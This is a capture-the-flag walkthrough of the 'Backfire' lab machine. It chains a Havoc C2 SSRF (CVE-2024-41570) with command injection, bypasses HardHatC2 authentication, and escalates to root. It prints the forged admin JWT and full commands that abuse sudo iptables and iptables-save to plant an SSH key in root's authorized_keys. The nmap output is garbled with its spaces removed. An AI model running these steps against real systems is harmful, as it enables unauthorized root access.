This is a Debian 12 machine running as a C2 teamserver for a red team. There computer hosts two vulnerable versions of C2 frameworks Havoc and Hardhat, that we have to exploit to get root (therefore the C2 teamserver "backfires" on the red team). The Havoc C2 is based on websockets and is vulnerable to SSRF (CVE-2024-41570) and authenticated command injection. Chaining both vulnerabilities we can get initial shell in the host.
Regarding escalation, it turns out Hardhat is vulnerable to authentication bypass. This can be leveraged to move laterally to another user who in turn is a sudoer, which allows us to gain root.
>forportsin$(nmap$target-p---min-rate=5000-Pn--open--reason|grepopen|awk-F"/"'{print $1}'|tr'\n'','|seds/,$//);donmap$target-p$ports-sV-sC-Pn-vv-n&&echo"\nList of open ports: $ports";doneNmapscanreportfor10.10.11.49Hostisup,receiveduser-set (0.037s latency).Scannedat2025-01-2318:49:15GMTfor15sPORTSTATESERVICEREASONVERSION22/tcpopensshsyn-ackOpenSSH9.2p1Debian2+deb12u4 (protocol 2.0)|ssh-hostkey:|2567d6bbab6254877ac3aa2efaef51d98c4 (ECDSA)|ecdsa-sha2-nistp256AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJuxaL9aCVxiQGLRxQPezW3dkgouskvb/BcBJR16VYjHElq7F8C2ByzUTNr0OMeiwft8X5vJaD9GBqoEul4D1QE=|256bef3279ec6d629277b9818914e972599 (ED25519)|_ssh-ed25519AAAAC3NzaC1lZDI1NTE5AAAAIA2oT7Hn4aUiSdg4vO9rJIbVSVKcOVKozd838ZStpwj8443/tcpopenssl/httpsyn-acknginx1.22.1|_http-server-header:nginx/1.22.1|_ssl-date:TLSrandomnessdoesnotrepresenttime|_http-title:404NotFound|tls-alpn:|http/1.1|http/1.0|_http/0.9|ssl-cert:Subject:commonName=127.0.0.1/organizationName=debugllc/stateOrProvinceName=Florida/countryName=US/streetAddress=/localityName=Jacksonville/postalCode=3121|SubjectAlternativeName:IPAddress:127.0.0.1|Issuer:commonName=127.0.0.1/organizationName=debugllc/stateOrProvinceName=Florida/countryName=US/streetAddress=/localityName=Jacksonville/postalCode=3121|PublicKeytype:rsa|PublicKeybits:2048|SignatureAlgorithm:sha256WithRSAEncryption|Notvalidbefore:2024-02-29T22:39:45|Notvalidafter:2027-02-28T22:39:45|MD5:fbe4c3b6830a87f428ef78d77347c012|SHA-1:88e6ac1bda871324f618a7f120ca2d2d1799e962|-----BEGINCERTIFICATE-----|MIID7DCCAtSgAwIBAgIQHZYBJzhQJyghNoxZIjfvaTANBgkqhkiG9w0BAQsFADB4|MQswCQYDVQQGEwJVUzEQMA4GA1UECBMHRmxvcmlkYTEVMBMGA1UEBxMMSmFja3Nv|bnZpbGxlMQkwBwYDVQQJEwAxDTALBgNVBBETBDMxMjExEjAQBgNVBAoTCWRlYnVn|IGxsYzESMBAGA1UEAxMJMTI3LjAuMC4xMB4XDTI0MDIyOTIyMzk0NVoXDTI3MDIy|ODIyMzk0NVoweDELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0Zsb3JpZGExFTATBgNV|BAcTDEphY2tzb252aWxsZTEJMAcGA1UECRMAMQ0wCwYDVQQREwQzMTIxMRIwEAYD|VQQKEwlkZWJ1ZyBsbGMxEjAQBgNVBAMTCTEyNy4wLjAuMTCCASIwDQYJKoZIhvcN|AQEBBQADggEPADCCAQoCggEBAM1udMchH92dKimVKU3TbW4FclnoYCF0cCy++3YB|nmP47VFmUn0NmLXAb8q9ntb+CgMIJ8v3UNnRuAgAHtqokdFY5U7CV/u+FgwUog77|3AYW6fEQLJH8juSWSl4HcyHyAhhzI8yNVKDbmFfQ+/LNh6VdWtEVzmU4GiapwEJs|is4Mra1m04LeEp83LyTfq+sNNWkklt78/p5ITMIPb4ih+iTOa2C2d/zHfen0uSuY|ePo4enVA7fWSQUuGJ6t18hL4mOgAjjBp5oy1BrQ6UdigjZgwHCzAt8fRFHj5mgO/|n4Ne6QqKddtuH7fvD5xZslovHZcPC/qF842H4gSFE6TpvRUCAwEAAaNyMHAwDgYD|VR0PAQH/BAQDAgKkMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAPBgNV|HRMBAf8EBTADAQH/MB0GA1UdDgQWBBRkO8lMEXGIzZskEokOL1DmlYeKEzAPBgNV|HREECDAGhwR/AAABMA0GCSqGSIb3DQEBCwUAA4IBAQCp1/flWB7d8JQyS6IS811v|LTxcgVxWDCXFlgcn7HE1wFs+0f50RomKToqJ10wSzM4xonayyFojAGhZ1elEPZ9y|9xT7+mEe+9wPnqa2Fg9UCV4OZLxoV6zDt9GHME5r4+t0PwsB8jGKGD9RrGtEG4tk|7ZrkW2D7WqAcBfd0ySHXtcS71CpRgbx9rRK9fNARRvf9X15Cw8UHyyFcTIF8B/6I|IwiE1U3joYVzEhsWY5yNN7uzinK7r+UQkvcv3ljRozB36HV8ZDBrKr+oOkA2afEk|Jm1RTQSFpxb7FptMnJzW+lcHCfYuvBxbdjgqvBXAZCoKyLAtrN3gdf5oU/FLy8uI|_-----ENDCERTIFICATE-----8000/tcpopenhttpsyn-acknginx1.22.1|http-methods:|_SupportedMethods:GETHEADPOST|http-ls:Volume/|SIZETIMEFILENAME|155917-Dec-202411:31disable_tls.patch|87517-Dec-202411:34havoc.yaotl|_|_http-open-proxy:Proxymightberedirectingrequests|_http-title:Indexof/|_http-server-header:nginx/1.22.1ServiceInfo:OS:Linux;CPE:cpe:/o:linux:linux_kernelNmapdone:1IPaddress (1 hostup) scanned in 16.43 secondsListofopenports:22,443,8000
There are 2 files exposed on port 8000.
The file havoc.yaotl suggests a Havoc C2 framework teamserver is running on the host. This file contains configuration in Yaotl language, including credentials for 2 operators: sergej and ilya
The other file is a note where they say they have disabled TLS, and they use websocket management port 40056.
In summary, it seems someone has installed and set up a C2 Havoc teamserver. According to documentation: "the teamserver handles connected operators, tasking agents and parsing the callback, listeners, and downloaded files and screenshots from the agents."
USER
Looking for C2 vulnerabilities, I came across this SSRF related to Havoc C2 (PoC here), that once exploited enables opening a TCP socket on the teamserver and read/write data from it (CVE-2024-41570). Thinking about what to send to the socket the answer is of course an RCE payload, since the stuff is also vulnerable to authenticated (and we have credentials) command injection.
I found a PoC that basically chains both exploits. The first one has been modified to upgrade the socket to a websocket, adding functions to create the websocket requests manually. Then, the second one is used to exploit the command injection to get RCE.
Note that you have to add your Kali IP in the command injection line (search for "Kali IP here").
Prepare the shell.sh script and launch the exploit.
Stabilize your shell adding your pub key to authorized_keys
Open an SSH shell with your private key.
And collect the user flag.
ROOT
Start from the low-priv shell and take the opportunity to enumerate the user and the system.
There is a text file in the home directory.
So it seems there is another C2 called Hardhat installed in the host.
There is something listening on ports 7076 and 5000.
Forward both ports to Kali and run this authentication bypass PoC.
> cat hardhat.txt
Sergej said he installed HardHatC2 for testing and not made any changes to the defaults. I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C#
> netstat -lnput
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:40056 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:7096 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
Generated JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiMGY1OGQzMWItYTEwNS00ZGY2LTkxZTktZjhhMDlhMWZmMDdmIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3Mzc3NDk5MTcsImV4cCI6MTc0MDE2OTExNywiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.71iN7C14avqO5wiYzMC0mwwqqRNgiMHvBTo-UQym1hY
/usr/lib/python3/dist-packages/urllib3/connectionpool.py:1015: InsecureRequestWarning: Unverified HTTPS request is being made to host '127.0.0.1'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
warnings.warn(
User sth_pentest created
> sudo -l
Matching Defaults entries for sergej on backfire:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User sergej may run the following commands on backfire:
(root) NOPASSWD: /usr/sbin/iptables
(root) NOPASSWD: /usr/sbin/iptables-save
> ssh-keygen -t ed25519
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/sergej/.ssh/id_ed25519):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/sergej/.ssh/id_ed25519
Your public key has been saved in /home/sergej/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:f8+8VAt6MXbrdbcnu6KJuK9PX0Sr1WUT8SsGQN/9FDs sergej@backfire
The key's randomart image is:
+--[ED25519 256]--+
| .o +.|
| o . . =|
| o.. E=|
| ..o +=|
| S +B.oo|
| . ++ *.o|
| . o.o..o+|
| o o +o=o *|
| +=+ +. .BB.|
+----[SHA256]-----+
> cat ~/.ssh/id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJp2KIOo3f3Pd61D1x80elhnrPd2mq6ooivoDftM48JU sergej@backfire
> sudo -u root /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJp2KIOo3f3Pd61D1x80elhnrPd2mq6ooivoDftM48JU sergej@backfire\n'
> sudo iptables-save -f /root/.ssh/authorized_keys
> ssh -i ~/.ssh/id_ed25519 root@localhost
The authenticity of host 'localhost (::1)' can't be established.
ED25519 key fingerprint is SHA256:vKC7A11sFxQLRppUMt01q0d/DPREoskH4Aa42t0Bz9M.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64